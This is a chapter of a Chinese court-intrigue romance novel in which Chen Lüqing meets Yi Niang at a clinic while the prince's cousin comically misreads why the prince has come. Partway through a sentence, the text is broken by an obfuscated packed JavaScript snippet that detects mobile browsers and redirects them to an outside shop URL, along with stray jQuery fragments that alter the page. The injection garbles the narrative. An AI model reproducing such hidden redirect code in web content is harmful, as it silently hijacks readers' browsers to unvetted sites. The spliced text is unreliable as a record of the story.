夏日暑气重,多蚊虫,脸颊泛红是常有的事。
但红成陈绿卿此刻这样的,世间怕是少有了。
她简直感觉自己浑身着了火一般,头上脸上身上,没有一处是不发烫的。
在那廊下听了没半会,便急急忙忙的提着裙子走了。
她到底是相府嫡女,卢夫人治家森严,不雅之物,是决计不可能进陈府的大门的。
是以对于夫妻之间的这些事,陈绿卿和谢伯都一样,都是不甚了解的。
哪怕是刚刚医师说的那些略显委婉的话,落在陈绿卿的耳中,也是一石激起千层浪,让她的心绪久久不能平息下来。
反正此地是不可能多呆了,加上今日来此处还有正事要做,陈绿卿索性又绕路回到了后院,留谢伯都一人在正屋内看诊。
她刚刚问过门口的小厮了,没半个时辰,医师为谢伯都的看诊是不会结束的。
时间充足,陈绿卿脚下的步子也就不着急了。
在后院随处找了个石桌子坐下,等待着“兔子”自投罗网。
若换作是昨日,她还不知道易娘已经看穿了自己接近她的目的,陈绿卿只怕会满院子的逛,只为能假装在此医馆“偶遇”易娘。
但现在不同了,易娘既然已经知道了一切,同时也对加入太子麾下有意,那么便犯不着费这么大的功夫了。
她只需安安静静等在这里坐着,有心人自然会来寻她。
这不,刚坐下喝了一盏茶的功夫,
有心人便来了。
确切来说,是在远处观望着自己。
一副想靠近却又不敢的样子。
“你过来吧,在那鬼鬼祟祟好久了,你没看见我我都瞧见你了。”陈绿卿像是怒极反笑,冲着不远处那棵树后的人影喊道。
树后的女子听到了这话,畏畏缩缩的探出了半个身子,弱弱的回她:“陈夫人好。好巧在此处碰到您了。”
“嗯,真巧,”陈绿卿脸上没什么表情,一副还在因为易娘昨日的撒谎而生气的样子,“你既来了,那便是想来为夫君瞧病的。怎么样,瞧得如何了,医师是如何说的?”
易娘本就羞愧的脸变得更红了,支支吾吾道:“我,我夫君还在陇西,未随我一同来长安。”
这事陈绿卿是知道的。
虽然易娘同自己撒过一些谎,但夫君生病这事,应该是真的。
“我今日虽然着了旁人同我假装夫妻,混了进来,但等到了正屋见过医师后,那医师一眼就看穿了我们的关系,”易亦南眼睛不由的看向别处,手忍不住的搅着帕子,一脸失落,“然后就被医师给赶了出来。”
难得看到了一些希望,此刻却又化作泡影,易娘的心情自然是百感交集。
在一旁听她说话的陈绿卿却未曾有什么过多的表示。
即没有把易娘拉到自己的身旁,好生安慰,也没有拿出帕子,替她擦掉眼角的泪。
与那日在北山寺帮易娘的,仿佛不是一个人。
这倒真不是她不近人情。恰恰相反,她有些太过近人情了。
在家当姑娘的时候,每个月固定有几日是跟随母亲一同去行善的。
陈府会搭一个很大的棚子,夏日是绿豆汤,冬日是米粥,每次都会排很长的队。往往是锅中都干净了,但排队的人仍然是看不到尽头。
长安,是最最繁华的都市,花团锦簇,商贸繁荣。
能见到世界各地的珠宝美食,来自各国的长相各异的商人。
世人用无数的诗文来歌颂这个盛世,歌颂这个可爱的独一无二的长安。
但与此同时,在这些华丽的表象之下,是皇帝一年胜过一年的昏庸,是百姓的生活一年比一年不好过。
嫉恶如仇,侠肝义胆。
这是裴子野曾经对她的评价。
她生来便见不得世间的不平之事,不义之举,奈何世间多薄情寡义之徒,倒显得像陈绿卿这般的人是异类。
既然看见了这些不公不义之事,自然是不能袖手旁观,冷眼相待。
但解决问题的办法有许多种,而陈绿卿选择了最难,也是最直截了当的一种。
她要获得权力,至高无上的权力。
如此便能让这个世道变得好一些,再好一些。让恶者长眠地底,好人永享安乐。
世上的缘分便是如此奇妙,同一个府上长出的两个孩子,喝同一个奶娘的奶长大,在同一个教书先生的教导下成才,但陈绿卿与裴子野却选择了各不相同的两条道。
裴子野选择投身江湖,负剑远走,除尽眼前不平之事。
而陈绿卿却选择留在长安,留在这个波谲云诡的水潭之中。
就如同是在海边钓鱼,是钓一条便吃一条,还是静静坐在海边等待,等待退潮之后,将搁浅在沙滩之上的小鱼们一网打尽。
其实二者都没有错。
坚守心中的道义,一路向前,何尝不是一种圆满。
两条路唯一不同的是,舍与得。
陈绿卿要坐那个位置,是要一路踩着白骨往上爬的。
皇位之争从来不是朝堂上简单的言语争斗,不是朝臣口中轻飘飘的话,而是脚下的土地。
由兵戈与鲜血浇灌而成的土地。
这一路之上,会死很多人。
为了她而死的,被她杀死的,不得不放弃的。
人总是会被权力塑造成新的模样,人不像人,鬼不像鬼。
在决定留在长安,而不是随着裴子野一起离开的那一刻起,陈绿卿便有心理准备了。
在权力之下,人人都是囚徒。
她望着眼前的女子,心中升起了几分可怜的意味。
她若真的成为了今年的新科状元,而且又投入了太子的门下,之后的路似乎都能看清了。
被太子利用,再被太子抛弃。
谢伯都需要一把趁手的刀,但如若有一日易娘的女子身份暴露,出于朝臣的逼迫,易娘一定会被谢伯都毫不犹豫的放弃。
在这盘巨大的棋局之中,陈绿卿唯一能做的,便是善待她的家人。
她望着易娘,说:“我认识那位医师,你随我一同进去吧。看在我的面子上,他会替你的夫君诊病的。”
有一句话她没有说出口。
医师救不了易娘的夫君,唯一能做的便是让那人的痛苦减轻一些。
聊胜于无吧。
她领着易娘重新往主屋方向走去,跟在身后的人一直都没有说话。
等又看到屋外的那个连廊的时候,陈绿卿听到易娘问,“你今日是不是故意来此处找我的”。
不过她并未给易娘一个回答……
与此同时,在一墙之隔的屋内,气氛却完全不似外面这两人间那般冰冷。
一位长相斯文秀美的男子屈腿坐在椅子上,随手将一颗葡萄抛进自己口中,同一旁的谢伯都说着话。
“表哥,听说你现下已经成婚了?那今日嫂子也来了?”
普天之下,能唤当今太子一声表哥的,自然也只有那位多年前负气出走,不知所踪的长公主独子,陆赫。
今日猛然在此处和自己的表弟打了个照面,谢伯都也是十分意外。
在他还未坠马昏迷之前,陆赫便已经出走了。这些年不管长公主如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997974|192076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何寻找,都没半点消息,谁知今日却在这里碰到故人了。
谢伯都本就是人精,见表弟完全不想提当年之事,而是将话题引到自己身上,谢伯都也就顺着他的话说了下去。
毕竟这是他们自家关起门来的事情,谢伯都着实也不想掺和他们母子之间的事情。
谢伯都说道:“自然是来了的,现下应当就在外面的连廊上。等你为我检查完毕,她就进来了。”
陆赫听到这话,冲他眨眨眼,一副看热闹不嫌事大的样子,悄悄问他:“怎么样,我刚刚的话说得如何,能不能让你在夫人面前一展雄风了?不够的话我还有别的词,管够!”
想起刚刚陆赫都故意冲着窗外大声说了些什么,谢伯都感觉自己都快在这间屋子内坐不住了。
窗外的太子妃听到了那些话,指不定要怎么想自己……
但他又不能怪自己的表弟,毕竟陆赫也是为自己着想。
几乎是整个盛朝的人都知道太子坠马三年昏迷不醒,性命垂危,眼下自己虽然已经苏醒,但坊间的百姓多认为自己定然伤了寿数,很有可能活不长久。
谢伯都猜都猜得到,这自然是自己的好二弟干的好事。
现在二弟被废为庶人了,但给自己留下的这些烂摊子却还留在这,真是让人不悦。
想必陆赫肯定也听到了这些谣言,再联系今日谢伯都来这间医馆看…那方面的问题,便顺理成章的认为自己那方面不行了,想帮着自己在新婚妻子面前充充面子,
表弟是好表弟。
但今日,谢伯都短暂的,想同陆赫断绝一天的关系了。
身旁人那张嘴还在叽叽喳喳的说着,什么表哥莫慌,我等会帮你把一把脉,开些药回去,保管药到病除云云。
谢伯都一个眼神过去,止住了陆赫那张说个不停的嘴。
今日来此的缘由无法与陆赫细说,加上谢伯都完全可以肯定自己那方面好得很,不必看医师,只是冷冰冰的对陆赫说道:“不必替我看了,我心里有数。”
望着陆赫那副欲言又止的神情,简直是将“不要讳疾忌医”六个大字写在脸上了。
谢伯都没空去管他脑中是如何自动脑补的了,最后嘱咐道:“你我之间的关系,切莫告诉任何人,否则到时候姑母来你的医馆抓人,我可是不会管的。”
眼下自己和太后的关系愈发焦灼,自己与陈绿卿来过这间医馆见易娘的事,越少人知道越好。
谢伯都心中这般盘算着,推门想将陈绿卿唤进来走个过场,谁知便看见她领着易娘正往这边来。
“夫人,这位是?”他故意装作概不知情的样子,问道。
两人本来好好的在走着过场,陈绿卿正准备向他介绍易娘,以及要带易娘去正屋为她的夫君看病,谁知半路杀出来了一个陆赫——
陆赫见谢伯都往外走,以为他是准备带着妻子回去了。
思来想去陆赫还是冲了出来。
毕竟是自己的表哥,他是亲眼见过谢伯都骑马打仗的,何等的风姿,何等的气概!
眼下却……那方面出了问题,而且还讳疾忌医不愿承认。
哎……
陆赫从药箱内拿了一些淫羊藿、肉苁蓉、枸杞子等壮阳等草药,急忙跑到门口,想让他带回去。
谁知刚到门口,却因跑得太急,脚下不稳,绊到了门槛。
不仅人倒了,药草还撒了一地。
陈绿卿望着地上散落的药草,望向谢伯都的眼神都变得愈发奇怪起来……
别人可能不知道,但她可是习得一些医术的,自然知道地上散落的药材是做什么用的。